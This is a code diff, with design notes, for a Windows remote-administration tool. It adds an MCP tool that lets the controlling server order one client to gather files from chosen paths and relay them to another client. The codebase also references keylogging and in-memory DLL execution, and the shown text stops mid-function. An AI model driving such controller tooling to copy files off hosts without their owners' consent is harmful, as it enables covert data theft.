diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index f19e7a8..510e694 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1512,14 +1512,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SEND_FILE_V2: { // 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。 - // static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。 - static bool s_v2RecvInited = false; - if (!s_v2RecvInited) { - int chunkKb, durMs; - GetTransferSpeed(*m_cfg, chunkKb, durMs); - InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf); - s_v2RecvInited = true; - } + EnsureV2TransferInited(); // C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度) // 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。 // 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE% @@ -1563,6 +1556,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_C2C_SEND_FILES: { + // C2C 按路径清单发送:服务端指定「源端路径 + 目标端目录」,见 OnC2CSendFiles。 + OnC2CSendFiles(szBuffer, ulLength); + break; + } + case COMMAND_CLIPBOARD_V2: { // C2C 剪贴板请求:被请求发送剪贴板文件到另一个客户端 ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer; @@ -1838,6 +1837,182 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } } +// V2 文件传输模块是进程级的(InitFileUpload/UninitFileUpload 成对),发送与接收共用一次初始化: +// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit,也不会被发送/接收两个 +// 入口各自初始化一次(第二次 Init 会重置状态并泄漏前一次的上下文)。 +void CKernelManager::EnsureV2TransferInited() +{ + static bool s_v2Inited = false; + if (s_v2Inited) return; + int chunkKb, durMs; + GetTransferSpeed(*m_cfg, chunkKb, durMs); + int rc = InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf); + if (rc != 0) Mprintf("[V2] InitFileUpload 返回 %d,V2 文件传输可能不可用\n", rc); + s_v2Inited = true; +} + +// 收集目录下的文件与子目录(语义同 CFileManager::CollectFilesRecursiveV2: +// 目录本身先作为一条 V2 目录项,随后是子项)。无成员依赖,主连接侧直接复用。 +static void CollectFilesForC2C(const std::string& dirPath, std::vector& files) +{ + std::string dirEntry = dirPath; + while (!dirEntry.empty() && (dirEntry.back() == '\\' || dirEntry.back() == '/')) + dirEntry.pop_back(); + if (!dirEntry.empty()) files.push_back(dirEntry); + + WIN32_FIND_DATAA wfd; + HANDLE hFind = FindFirstFileA((dirPath + "*.*").c_str(), &wfd); + if (hFind == INVALID_HANDLE_VALUE) return; + do { + if (wfd.cFileName[0] == '.') continue; + std::string fullPath = dirPath + wfd.cFileName; + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + CollectFilesForC2C(fullPath + "\\", files); + else + files.push_back(fullPath); + } while (FindNextFileA(hFind, &wfd)); + FindClose(hFind); +} + +// 展开 %VAR%(与 CFileManager 的静态 ExpandPath 同语义,展开失败返回原路径) +static std::string ExpandPathForC2C(const char* path) +{ + char szExpanded[MAX_PATH * 2] = { 0 }; + DWORD len = ExpandEnvironmentStringsA(path, szExpanded, (DWORD)sizeof(szExpanded)); + if (len > 0 && len < (DWORD)sizeof(szExpanded)) return szExpanded; + return path; +} + +// C2C 按路径清单发送(服务端 → 源客户端)。 +// 包格式:[C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0](ANSI/936)。 +// 与 COMMAND_CLIPBOARD_V2 的差别只在文件来源:这里的路径由服务端指定,不取剪贴板/资源管理器选中项。 +// 数据由本端新开子连接上行,服务端按包内 dstClientID 原样中继到目标客户端的主连接。 +void CKernelManager::OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength) +{ + if (ulLength < sizeof(C2CSendFilesPacket)) return; + const C2CSendFilesPacket* req = (const C2CSendFilesPacket*)szBuffer; + + const char* p = (const char*)szBuffer + sizeof(C2CSendFilesPacket); + const char* end = (const char*)szBuffer + ulLength; + std::string targetDir = (p < end) ? std::string(p) : std::string(); + p += targetDir.size() + 1; + + std::vector paths; + while (p < end && *p != '\0') { + paths.push_back(p); + p += strlen(p) + 1; + } + + // 收包缓冲在 OnReceive 返回后即失效:先把要用的字段拷出来,线程里只用副本。 + const uint64_t transferID = req->transferID; + const uint64_t dstClientID = req->dstClientID; + std::string hash(req->hash, strnlen(req->hash, sizeof(req->hash))); + std::string hmac(req->hmac, strnlen(req->hmac, sizeof(req->hmac))); + + // 结果包(服务端 TOKEN_C2C_SEND_RESULT → MCP 等待线程)。任何早退都要回一包, + // 否则服务端只能干等超时——这与 download_file 早期的「静默超时」是同一种毛病。 + auto sendResult = [&](uint32_t status, uint32_t win32err, int32_t workerRc, + uint32_t fileCount, uint64_t totalBytes) { + C2CSendResultPacket res = {}; + res.cmd = TOKEN_C2C_SEND_RESULT; + res.transferID = transferID; + res.dstClientID = dstClientID; + res.status = status; + res.win32err = win32err; + res.workerRc = workerRc; + res.fileCount = fileCount; + res.totalBytes = totalBytes; + m_ClientObject->Send2Server((char*)&res, sizeof(res)); + }; + + // FileBatchTransferWorkerV2 依赖 g_status==1(InitFileUpload 已调用),否则直接返回 -1。 + // 源端可能从未打开过文件管理器、也从未接收过上传,所以这里必须显式初始化。 + EnsureV2TransferInited(); + + if (paths.empty() || targetDir.empty()) { + Mprintf("[C2C] 路径清单发送请求非法: transferID=%llu, paths=%zu, targetDir=%s\n", + transferID, paths.size(), targetDir.c_str()); + sendResult(FEV2_FILE_NOT_FOUND, ERROR_INVALID_PARAMETER, 0, 0, 0); + return; + } + + // 收集文件:展开环境变量、递归展开目录(目录项本身也发给目标端,用于建空目录) + std::vector allFiles; + DWORD dwFirstErr = 0; + for (const std::string& raw : paths) { + std::string localPath = ExpandPathForC2C(raw.c_str()); + DWORD attrs = GetFileAttributesA(localPath.c_str()); + if (attrs == INVALID_FILE_ATTRIBUTES) { + if (dwFirstErr == 0) dwFirstErr = GetLastError(); + Mprintf("[C2C] 源路径不可访问: %s (win32=%lu)\n", localPath.c_str(), dwFirstErr); + continue; + } + if (attrs & FILE_ATTRIBUTE_DIRECTORY) { + std::string dirPath = localPath; + if (dirPath.back() != '\\') dirPath += '\\'; + CollectFilesForC2C(dirPath, allFiles); + } else { + allFiles.push_back(localPath); + } + } + + if (allFiles.empty()) { + sendResult(FEV2_FILE_NOT_FOUND, + dwFirstErr ? dwFirstErr : (DWORD)ERROR_FILE_NOT_FOUND, 0, 0, 0); + return; + } + + // 统计(目录项不计入 fileCount/totalBytes) + uint32_t fileCount = 0; + uint64_t totalBytes = 0; + for (const std::string& f : allFiles) { + WIN32_FILE_ATTRIBUTE_DATA fad; + if (!GetFileAttributesExA(f.c_str(), GetFileExInfoStandard, &fad)) continue; + if (fad.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue; + fileCount++; + totalBytes += ((uint64_t)fad.nFileSizeHigh << 32) | fad.nFileSizeLow; + } + + IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); + pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + if (!pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { + delete pClient; + Mprintf("[C2C] 连接服务器失败\n"); + sendResult(1001, 0, -1, 0, 0); + return; + } + + TransferOptionsV2 opts; + opts.transferID = transferID; + opts.srcClientID = m_MyClientID; + opts.dstClientID = dstClientID; + opts.enableResume = false; // v1 不做断点续传:失败即整包重发(目标端状态按 transferID 索引) + + std::thread([allFiles, targetDir, pClient, opts, hash, hmac, + transferID, dstClientID, fileCount, totalBytes]() { + int rc = FileBatchTransferWorkerV2(allFiles, targetDir, pClient, + [](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool { + IOCPClient* client = (IOCPClient*)user; + return client->Send2Server((char*)data, size) != FALSE; + }, + nullptr, hash, hmac, opts); + + C2CSendResultPacket res = {}; + res.cmd = TOKEN_C2C_SEND_RESULT; + res.transferID = transferID; + res.dstClientID = dstClientID; + res.status = (rc == 0) ? (uint32_t)FEV2_OK : (uint32_t)1001; + res.win32err = 0; + res.workerRc = (int32_t)rc; + res.fileCount = fileCount; + res.totalBytes = totalBytes; + pClient->Send2Server((char*)&res, sizeof(res)); + delete pClient; + Mprintf("[C2C] 路径清单发送结束: transferID=%llu, %u 个文件, rc=%d\n", + transferID, fileCount, rc); + }).detach(); +} + void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) { if (ulLength > 8) { diff --git a/client/KernelManager.h b/client/KernelManager.h index d512180..ee65547 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -200,6 +200,11 @@ public: std::string m_hash; std::string m_hmac; uint64_t m_MyClientID = 0; + // COMMAND_C2C_SEND_FILES:按服务端指定的路径清单把文件直接发给另一个客户端。 + // 包格式 [C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0],结果用 TOKEN_C2C_SEND_RESULT 回传。 + void OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength); + // 进程级 V2 文件传输模块初始化(幂等),发送与接收两条路径共用。 + void EnsureV2TransferInited(); // 执行代码 std::map> m_MemDLL; void SetLoginMsg(const std::string& msg) diff --git a/common/commands.h b/common/commands.h index cea897b..bdadc76 100644 --- a/common/commands.h +++ b/common/commands.h @@ -136,6 +136,7 @@ inline int isValid_10s() #define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等) // 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读 #define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图) +#define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows) #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 @@ -337,6 +338,11 @@ enum { TOKEN_REG_ERROR = 172, // [token:1][lstatus:4 LE] 注册表打开失败(键不存在/拒绝访问) TOKEN_DOWNLOAD_ERROR = 173, // [token:1][win32err:4 LE] 下载请求无可用文件(路径全部不存在) + // MCP C2C 文件传输(服务端 → 源客户端 → 目标客户端;数据由服务端原样中继)。 + // 只有声明 CLIENT_CAP_C2C_PATHS 的新客户端认识这两个值,老客户端走 default 丢弃。 + COMMAND_C2C_SEND_FILES = 174, // [C2CSendFilesPacket][targetDir\0][path1\0]...[\0] + TOKEN_C2C_SEND_RESULT = 175, // [C2CSendResultPacket] 源客户端回传的发送结果 + TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 @@ -1104,6 +1110,7 @@ typedef struct LOGIN_INFOR { unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8; #ifdef _WIN32 caps |= CLIENT_CAP_SCREEN_PREVIEW; + caps |= CLIENT_CAP_C2C_PATHS; #endif sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps); } diff --git a/common/file_upload.h b/common/file_upload.h index ec28fa3..091fb4f 100644 --- a/common/file_upload.h +++ b/common/file_upload.h @@ -99,6 +99,33 @@ struct C2CPrepareRespPacket { // char path[pathLength]; // UTF-8 目标目录 }; // 19 bytes + path +// C2C 路径清单发送请求(服务端 → 源客户端):让源客户端把指定路径(文件或目录)直接发给另一个客户端。 +// 与 COMMAND_CLIPBOARD_V2 的区别是「路径由服务端指定」,而不是取源端剪贴板/资源管理器选中项。 +// 字符串一律用 ANSI(936),与 CMD_DOWN_FILES_V2 一致:客户端用 A 版 API 访问文件系统。 +struct C2CSendFilesPacket { + uint8_t cmd; // COMMAND_C2C_SEND_FILES = 174 + uint64_t transferID; // 传输ID(服务端生成,结果包原样带回) + uint64_t srcClientID; // 源客户端(收包方) + uint64_t dstClientID; // 目标客户端(收包方即发送方,数据包里带上它) + char hash[64]; // 认证哈希(与上一级主控一致,目标端按自己的 m_hash 解密) + char hmac[16]; // HMAC + uint8_t flags; // 保留(bit0 = 断点续传,v1 恒 0,不启用) + // char targetDir[...]; '\0'; // 目标端保存目录(绝对路径,不以 '\' 结尾也可) + // char path1[...]; '\0'; ...; // 源端绝对路径(文件或目录),列表以空串结束:额外一个 '\0' +}; // 106 bytes + 字符串 + +// C2C 路径清单发送结果(源客户端 → 服务端) +struct C2CSendResultPacket { + uint8_t cmd; // TOKEN_C2C_SEND_RESULT = 175 + uint64_t transferID; // 对应请求的 transferID + uint64_t dstClientID; // 目标客户端 + uint32_t status; // 0=已全部发送;FEV2_* 失败码;1001=发送线程失败(见 workerRc) + uint32_t win32err; // status=FEV2_FILE_NOT_FOUND/ACCESS_DENIED 时的首个 win32 码 + int32_t workerRc; // FileBatchTransferWorkerV2 返回值(0=成功) + uint32_t fileCount; // 实际发出的文件数(不含目录项) + uint64_t totalBytes; // 实际发出的文件字节数 +}; // 45 bytes + // V2 文件完成校验包 struct FileCompletePacketV2 { uint8_t cmd; // COMMAND_FILE_COMPLETE_V2 = 91 diff --git a/docs/Mcp_Design.md b/docs/Mcp_Design.md index 8a6ff4f..efca347 100644 --- a/docs/Mcp_Design.md +++ b/docs/Mcp_Design.md @@ -835,3 +835,13 @@ Debug 实例(`Bin\Yama_x64d.exe`,临时端口)实测:`list_all_hosts` - 响应体积:列表类工具约翻倍(分页上限内),执行类工具只多一个退出码字段。 - 既有断言不受影响:摘要仍在 `content[0]`,内部批量工具(`ids` 批量调用)仍只读 `content[0].text` 并另取 `structuredContent`。 + +## 15. 增补(2026-10-26:`copy_files_c2c` 客户端间直传) + +第 54 个工具:把文件从一台客户端**直接**发到另一台,服务端只做包中继,不落盘。复用 V2 文件传输的 C2C 通道(`FileChunkPacketV2.dstClientID != 0`),新增协议号 `COMMAND_C2C_SEND_FILES=174`(服务端给源端下路径清单)、`TOKEN_C2C_SEND_RESULT=175`(源端回传发送结果),以及能力位 `CLIENT_CAP_C2C_PATHS=0x0008`(老客户端因此被提前拒绝并提示升级)。 + +- 工具契约:`src_id` / `dst_id` / `paths[]` / `dst_dir` / 可选 `timeout_ms`;返回 `transfer_id` / `file_count` / `total_bytes` / `receiver_ack`(恒为 `false`,V2 的完成校验在接收方做但没有回执)。 +- 开关:`McpFileTransfer=1 && McpReadonly=0`(会写远程),注解登记为破坏性 + 非只读,`McpInternal` 的 gating 表同步。 +- 两端都必须是 Windows 客户端(`-32005`):目标端也限制,是因为 `dst_dir` 由源端拼进 V2 块的文件名,非 Windows 接收端拿不到目标目录会写到错误位置。 +- 实施中一个坑:服务端既有的 C2C 中继分支会在源端子连接上挂进度对话框,而 `NotifyProc` 对挂了 `hDlg` 的连接会把后续包交给对话框——源端最后那包结果就被当 V1 文件块吃掉,工具只能超时。现按「该 host 是否有 MCP 的 C2C 会话」跳过对话框,MFC 手动 C2C 不变。 +- 协议细节、落盘路径语义(`dst_dir` + 相对公共父目录)、错误码映射、限制与实测见 [Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md) §14。 diff --git a/docs/Mcp_FileTransfer_Design.md b/docs/Mcp_FileTransfer_Design.md index bbfa76d..caae750 100644 --- a/docs/Mcp_FileTransfer_Design.md +++ b/docs/Mcp_FileTransfer_Design.md @@ -1,6 +1,6 @@ -# YAMA MCP 文件传输功能设计(download_file / upload_file) +# YAMA MCP 文件传输功能设计(download_file / upload_file / copy_files_c2c) -> **状态**:设计定稿(经专家审查修订,结论见 §13)。`download_file`(P1)已实施并验收;`upload_file`(P2)已实施(详见 §7,评审修订见 §13.1)。`download_file` 采用 **V2 文件传输协议**(`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动)。两者共享同一套「文件会话」注册表。 +> **状态**:设计定稿(经专家审查修订,结论见 §13)。`download_file`(P1)已实施并验收;`upload_file`(P2)已实施(详见 §7,评审修订见 §13.1)。`copy_files_c2c`(P3,客户端间直传、服务端只中继)已实施(见 §14)。`download_file` 采用 **V2 文件传输协议**(`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动),`copy_files_c2c` 复用 V2 的 C2C 中继(`dstClientID != 0`)。三者共享同一套「文件会话」注册表。 > **读者**:MCP 后续功能研发/评审人员。 > **关联文档**:[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)(Phase 1 协议/架构/配置)。 @@ -401,3 +401,76 @@ int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hm |---|---|---| | R1 | **纯目录树下载必超时**:完成判定 `filesDone >= totalFiles - directoryCount` 只在 `OnFileCompleteV2` 里跑,而客户端对目录项不发 `COMMAND_FILE_COMPLETE_V2`。空目录/只有子目录的树期望文件数为 0,永远等不到 COMPLETE → 只能干等 `timeout_ms`(默认 600s)后报 `1002` | `OnFileChunkV2` 的目录分支里,`directoryCount >= totalFiles`(即全部条目都是目录)时直接置 `done` + notify。实测空目录 0.2s 返回、3 文件目录树回归正常 | | R2 | **断线无清理 → 悬空子连接指针**:`FileTransferSession.fmSubCtx / streamSubCtx` 是裸 `context*`,`OfflineProc` 只清了终端/远程控制/聊天,没有文件传输的钩子(§6.5 声称的「断线擦会话」实现缺失)。客户端传输中掉线后 connection 被连接池回收,工具线程超时路径仍对其 `CancelIO()` → 悬空指针/误取消他人连接 | 新增 `m_FileXferContextToDevice` 反查表(受 `m_FileXferMutex` 保护,`ClearFileTransfer` 同步擦除),`OfflineProc` 增 `OnFileTransferContextClosed`:清指针并移除反查项;**流式子连接**断开即判失败(`error=1003`,立即唤醒工具线程),文件管理器子连接断开只清指针(数据走流式子连接,不判失败)。实测传输中杀掉客户端:1s 返回 `Connection lost`(原来要等满 `timeout_ms`),服务端存活;重启客户端后连续两次下载、一次上传均正常 | + +--- + +## 14. 增补(2026-10-26):C2C 直传 `copy_files_c2c` + +### 14.1 动机 + +运维里经常要在**两台客户端之间**拷文件。此前的变通流程是「`download_file` 拉到主控本机 → `upload_file` 再推上去」,数据在服务端磁盘上落一遍、两倍耗时。文件传输 V2 本身已经支持 C2C:`FileChunkPacketV2.dstClientID != 0` 时,服务端把包**原样中继**给目标客户端,目标端在自己的主连接上 `RecvFileChunkV2` 落盘,服务端不解析、不落盘。 + +但客户端现有的 C2C 入口只有一个 `COMMAND_CLIPBOARD_V2`(Ctrl+V),文件来源固定是本端剪贴板/资源管理器选中项,服务端无法指定路径。因此新增一条「服务端给源端一份显式路径清单」的命令。 + +### 14.2 协议(`common/commands.h` / `common/file_upload.h`) + +```cpp +CLIENT_CAP_C2C_PATHS 0x0008 // LOGIN_INFOR 能力位,仅 Windows 客户端置位 +COMMAND_C2C_SEND_FILES = 174, // 服务端 → 源客户端主连接 +TOKEN_C2C_SEND_RESULT = 175, // 源客户端 → 服务端(源端自开的传输子连接上) +``` + +| 包 | 布局 | 说明 | +|---|---|---| +| `C2CSendFilesPacket` | `cmd(1) transferID(8) srcClientID(8) dstClientID(8) hash(64) hmac(16) flags(1)` = 106 B | 后接 `dst_dir\0`,再是 `path1\0 … pathN\0`,以额外一个 `\0` 结束(ANSI/936) | +| `C2CSendResultPacket` | `cmd(1) transferID(8) dstClientID(8) status(4) win32err(4) workerRc(4) fileCount(4) totalBytes(8)` = 45 B | `status`:0=全部发出、`FEV2_FILE_NOT_FOUND`/`FEV2_ACCESS_DENIED`(带首个 win32 码)、1001=发送线程失败(看 `workerRc`) | + +老客户端不认识 174(服务端按 `CLIENT_CAP_C2C_PATHS` 提前拒绝,`-32005` 提示升级);老服务端不认识 175,走 `default` 丢弃,无兼容风险。 + +### 14.3 客户端(`client/KernelManager.cpp`) + +1. `OnC2CSendFiles`:解析 `dst_dir` 与路径清单 → `ExpandEnvironmentStringsA` 展开 `%VAR%` → 目录按 `CollectFilesRecursiveV2` 同语义**递归展开,且目录项本身也入列**(目标端据此建空目录)→ 统计 `fileCount/totalBytes`。 +2. `EnsureV2TransferInited()`:`FileBatchTransferWorkerV2` 依赖进程级的 `InitFileUpload`(`g_status==1`),否则直接返回 -1。源端可能从未打开文件管理器、也没接收过上传,所以发送前显式初始化;与接收分支共用同一份 `static` 一次性初始化(`InitFileUpload`/`UninitFileUpload` 成对,重复 Init 会重置状态)。 +3. 新开一个 `EnableSubConnAuth()` 的子连接 → `FileBatchTransferWorkerV2(files, targetDir=dst_dir, …, opts{dstClientID=dst, enableResume=false})`,回调即 `Send2Server`。子连接经 `TOKEN_CONN_AUTH` 校验后,服务端把它钉成源主连接的 clientID。 +4. 发送结束后**在同一条子连接上**回 `C2CSendResultPacket`,然后关闭子连接。任何早退分支(路径非法/全部不可访问/连不上服务端)都先回一包结果——否则工具侧只能干等超时。 + +### 14.4 服务端 + +- **会话**:`BeginC2CTransfer(src, dst, transferID)` 把会话键在**源**设备上(`tool="copy_files_c2c"`、`dstClientID`),与 `m_Pending`、目标端文件会话双向互斥;`WaitC2CDone` 只等源端那包结果,**没有停滞看门狗**(源端全程只在最后回一包,大文件中途静默是正常的),只有总超时。 +- **中继**:完全复用 `COMMAND_SEND_FILE_V2` / `COMMAND_FILE_COMPLETE_V2` 的 `dstClientID != 0` 分支,零改动。 +- **必须抑制源端的进度对话框**(实施中踩到的坑):该分支原本会在源端子连接上挂一个 `CDlgFileSend` 显示进度。而 `NotifyProc` 对**挂了 `hDlg` 的连接**会把后续包交给对话框的 `OnReceiveComplete`——源端最后那包 175 就被当成 V1 文件块解析(服务端 trace 里是 `RecvFileChunk failed: 3`),MCP 侧只会超时。现在用 `IsC2CTransferPending(src, dst)` 判定:MCP 发起的 C2C 不建对话框,包照常落到 `MessageHandle`;MFC 手动 C2C(Ctrl+V / 文件管理器)行为完全不变。 +- **落盘位置**:目标端收到的目录是 `dst_dir`,文件名取各路径**相对公共父目录**的部分(库内 `GetCommonRoot` 语义)。例如发 `D:\data\a.txt` 与 `D:\data\sub\`,目标是 `C:\backup`,则得到 `C:\backup\a.txt`、`C:\backup\sub\b.bin`;`dst_dir` 不存在时由接收端自动创建。目标端是 Linux/macOS 时上述语义不成立(见 14.6),工具在建会话前就拒绝。 + +### 14.5 工具契约 + +入参:`src_id`、`dst_id`(必填,且不得相同)、`paths`(必填,文件或目录,1..N)、`dst_dir`(必填,绝对路径)、`timeout_ms`(默认 600000,上限 3600000)。 +出参(`structuredContent`):`transfer_id`、`src_id`、`dst_id`、`dst_dir`、`file_count`、`total_bytes`、`receiver_ack`。 + +| 码 | 触发 | +|---|---| +| `-32602` | 缺参 / id 非法 / 源目标相同 / `paths`、`dst_dir` 含 `..` 段或编码无法转 936 | +| `-32002` | 源或目标主机不在线 | +| `-32003` | 源或目标已有在飞传输(单设备单传输) | +| `-32004` | 命令下发失败 | +| `-32005` | 源端是老客户端(无 `CLIENT_CAP_C2C_PATHS`)、源端或目标端是 Linux/macOS | +| `-32006` | `McpFileTransfer=0` 或 `McpReadonly=1`(改远程);任一端不支持 V2 | +| `-32009` / `-32010` | 源端路径不存在(win32 2/3)/ 拒绝访问(win32 5) | +| `-32001` | 等源端结果超时(传输可能仍在进行) | + +### 14.6 限制 + +- **`receiver_ack` 恒为 `false`**:V2 的完成校验由接收方做(`HandleFileCompleteV2`),但接收方不回执,源端只能确认「全部包已发出」。要确认落盘请用 `list_files` 核对目标端。 +- **不做断点续传**(`enableResume=false`):C2C 的续传查询/应答会多两跳,v1 从简;失败即整包重发。 +- **两端都必须是 Windows 客户端**。目标端也限制,是因为 `dst_dir` 由源端拼进每个 V2 块的 `name` 字段(绝对 Windows 路径),而接收端的「目标目录」只能由 `COMMAND_C2C_PREPARE` 设置,本流程不发该包:Linux/macOS 的 `RecvFileChunkV2` 拿不到 targetDir,会走「服务端下载」分支把 `C:\x\y` 去掉盘符当绝对路径写(`common/FileTransferV2.h:224`),落到 `/x/y` 并要求 root 权限。要支持非 Windows 目标,需要新增携带显式目标路径的准备包并升级对应客户端。 +- 一次只允许一对主机间的单个传输(源、目标各自都要求空闲),避免与 `download_file`/`upload_file` 抢同一主机的连接。 + +### 14.7 验证(Debug 实例 + 两个 Debug 客户端副本,同一台机器不同目录 → 不同 client_id) + +数据确实走「源客户端子连接 → 服务端中继 → 目标客户端主连接」: + +| 用例 | 结果 | +|---|---| +| 发 2 个文件(其一中文名)+ 1 个目录(含 3 MB 二进制与空子目录) | 3 个文件 SHA-256 全对,空目录被创建,`file_count=3`、耗时 3.2s | +| `dst_dir` 不存在(`…\recv\fresh\nested`) | 自动创建,文件到位 | +| `src_id == dst_id` / 源路径不存在 / 目标离线 / `dst_dir` 含 `..` | `-32602` / `-32009`(win32=3) / `-32002` / `-32602` | +| `tools/mcp_smoke.ps1`(含主机类工具,41 项) | 全通过;新增 `copy_files_c2c` 同主机 `-32602`、目标离线 `-32002` 两项 | diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index fa544e7..0b25aac 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -6302,6 +6302,13 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) if (dstCtx) { dstCtx->Send2Client(szBuffer, len); + // MCP copy_files_c2c 不给源端子连接挂进度对话框:一旦挂了 hDlg, + // NotifyProc 会把该子连接之后的包都交给对话框的 OnReceiveComplete, + // 源端最后的 TOKEN_C2C_SEND_RESULT 就被当作 V1 文件块解析并丢弃, + // MCP 工具只能等到超时。MFC 手动 C2C(Ctrl+V / 文件管理器)行为不变。 + if (McpServer().IsC2CTransferPending(ContextObject->GetClientID(), pkt->dstClientID)) + break; + // 获取或创建进度对话框(和客户端->服务端相同方式) if (ContextObject->hDlg == NULL) { CDlgFileSend* dlg = new CDlgFileSend(this, ContextObject->GetServer(), ContextObject, FALSE); @@ -6933,6 +6940,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) // 未命中(工具线程已放弃 / MFC 手动下载不会发此 token)→ 忽略,等 ClearFileTransfer。 break; } + case TOKEN_C2C_SEND_RESULT: { // copy_files_c2c 源端发送结果 + // 到达的是源客户端自开的传输子连接(TOKEN_CONN_AUTH 已把 clientID 钉成主连接的值)。 + // 无对应会话(工具已超时/放弃、MFC 手动 C2C 不会发此 token)→ OnC2CResult 直接忽略。 + Mprintf("[C2C] 收到源端结果包: dev=%llu len=%u\n", + (unsigned long long)ContextObject->GetClientID(), len); + McpServer().OnC2CResult(ContextObject->GetClientID(), szBuffer, len); + break; + } case TOKEN_SEARCH_FILE_LIST: { // 搜索结果【B2:仅 MCP 无头搜索会到达】 // 有挂起的 search_file 且是本连接发的 → 收下这一包;否则是已被放弃的旧搜索 // (工具线程已超时返回部分结果)的尾包,原地丢弃即可。 diff --git a/server/2015Remote/McpInternal.cpp b/server/2015Remote/McpInternal.cpp index 0f298ff..f8c7c63 100644 --- a/server/2015Remote/McpInternal.cpp +++ b/server/2015Remote/McpInternal.cpp @@ -411,6 +411,7 @@ const ToolHints kToolHints[] = { { "remote_clipboard", false, false, false, true }, // 覆盖对端剪贴板 // --- 文件传输 --- { "upload_file", false, true, false, true }, // 覆盖/新增远端文件 + { "copy_files_c2c", false, true, false, true }, // 覆盖/新增目标主机文件 // --- 设备管理(McpManage)--- { "kill_process", false, true, false, true }, { "operate_window", false, true, false, true }, diff --git a/server/2015Remote/McpServer.cpp b/server/2015Remote/McpServer.cpp index 27afeac..74d79ac 100644 --- a/server/2015Remote/McpServer.cpp +++ b/server/2015Remote/McpServer.cpp @@ -1373,6 +1373,9 @@ std::string BuildDownloadFile(const Json::Value& id, const Json::Value& args, CM Json::Value BuildUploadFileInputSchema(); Json::Value BuildUploadFileOutputSchema(); std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent); +Json::Value BuildCopyFilesC2CInputSchema(); +Json::Value BuildCopyFilesC2COutputSchema(); +std::string BuildCopyFilesC2C(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent); std::string BuildRemoteClipboard(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent); // ===== P7 前置声明(定义见下方「tools/call 分派」前)===== @@ -1769,6 +1772,18 @@ std::string BuildToolsListResult(const Json::Value& id) { tools.append(tool); } + // 17b) copy_files_c2c(C2C 文件传输:源主机 → 目标主机,服务端只中继不落盘) + // 与 upload_file 同门控:写的是远端目录,需 McpFileTransfer=1 且 McpReadonly=0。 + // 额外要求源主机是新客户端(CLIENT_CAP_C2C_PATHS),老客户端不认识 COMMAND_C2C_SEND_FILES。 + if (CMcpServer::Instance().IsFileTransferEnabled() && !CMcpServer::Instance().IsReadonly()) { + Json::Value tool(Json::objectValue); + tool["name"] = "copy_files_c2c"; + tool["description"] = u8"在两个在线 Windows 主机之间直接拷贝文件(V2 C2C:源主机自己发、目标主机自己收,服务端只中继,不在主控落盘)。paths 为源主机绝对路径(文件或目录,目录递归、保留相对目录结构);dst_dir 为目标主机保存目录(不存在自动创建)。返回 transfer_id/file_count/total_bytes;receiver_ack 恒为 false —— V2 没有目标端回执,目标端校验失败只记在目标机日志里,需要确证请用 list_files 复核。"; + tool["inputSchema"] = BuildCopyFilesC2CInputSchema(); + 